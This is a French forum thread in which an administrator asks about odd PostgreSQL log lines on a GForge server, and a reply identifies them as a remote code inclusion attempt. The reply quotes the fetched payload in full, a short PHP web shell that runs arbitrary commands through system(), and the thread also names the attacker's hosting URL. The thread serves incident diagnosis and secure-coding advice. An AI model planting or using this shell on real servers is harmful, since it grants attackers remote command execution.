Probleme intrusion sur GNU/Linux ?

Xavier MOGHRABI a exprimé avec précision :

Bonjour à tous,

J'ai remarqué sur un log d'un serveur sous Debian des ligne étranges que je
ne comprends pas.

Dans le fichier /var/log/messages j'ai plusieurs lignes comme celle-ci :

Sep 19 12:12:44 server postgres[5677]: [2] ERROR: pg_atoi: error in
"http://www.deltreehp.hpg.com.br/cmd.txt?": can't
parse "http://www.deltreehp.hpg.com.br/cmd.txt?"

Le serveur en question fait tourner le portail de travail collaboratif
GFORGE avec une base de données sous PostgreSQL

J'ai l'impression que quelqu'un essaye d'exécuter une action à distance à
l'aide d'une instruction pg_atoi (à quoi sert pg_atoi ?).

pg_atoi c'est Postgres_AsciiToInteger me semble t'il (convertion d'une
representation d'un nombre en chaine de caractère vers sa version
numérique (pour calculs)

Est-ce que quelqu'un sait ce que cela veut dire ?

Merci d'avance

"Xavier MOGHRABI" a écrit

J'ai remarqué sur un log d'un serveur sous Debian des ligne étranges que
je

ne comprends pas.

Dans le fichier /var/log/messages j'ai plusieurs lignes comme celle-ci :

Sep 19 12:12:44 server postgres[5677]: [2] ERROR: pg_atoi: error in
"http://www.deltreehp.hpg.com.br/cmd.txt?": can't
parse "http://www.deltreehp.hpg.com.br/cmd.txt?"

C'est juste PostgreSQL qui gueule parce que le paramètre
"http://www.deltreehp.hpg.com.br/cmd.txt?" ne peut être correctement analysé
pour la fonction atoi (ascii to int, conversion d'une chaine de caractère en
entier).

Le serveur en question fait tourner le portail de travail collaboratif
GFORGE avec une base de données sous PostgreSQL

J'ai l'impression que quelqu'un essaye d'exécuter une action à distance à
l'aide d'une instruction pg_atoi (à quoi sert pg_atoi ?).

Non. Je parie[1] simplement que le développeur (chez vous) à fait un travail
de sagouin en ne vérifiant pas les arguments qui sont fournis au programmes.
pg_atoi est probalement[1] appelé normalement dans le process pour convertir
ce qui devrait être un nombre (exemple un age) saisi dans un formulaire.

Tu es probablement[1] victime d'une banale tentative d'injection de code, le
lien contenant :
-
<?

if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<",
"&lt;", $output));

?>
-

Est-ce que quelqu'un sait ce que cela veut dire ?

Qu'il est temps de former tes développeurs à un minimum de sécu? (même si
c'est sans conséquence ici, l'argument tel quel n'aurait, amha, jamais du
être balancé à la fonction sans vérif préalable).
Règle basique : on ne fait *jamais* confiance à des arguments dont on ne
maitrise pas l'origine et le contenu.

Merci d'avance

hth

Eric

[1] faute de détail je suis contraint de jouer Mme Soleil :)

--
L'invulnérable :
Je ne pense pas etre piratable, infectable par un trojen oui!
Vu sur fcs un jour de mars 2004.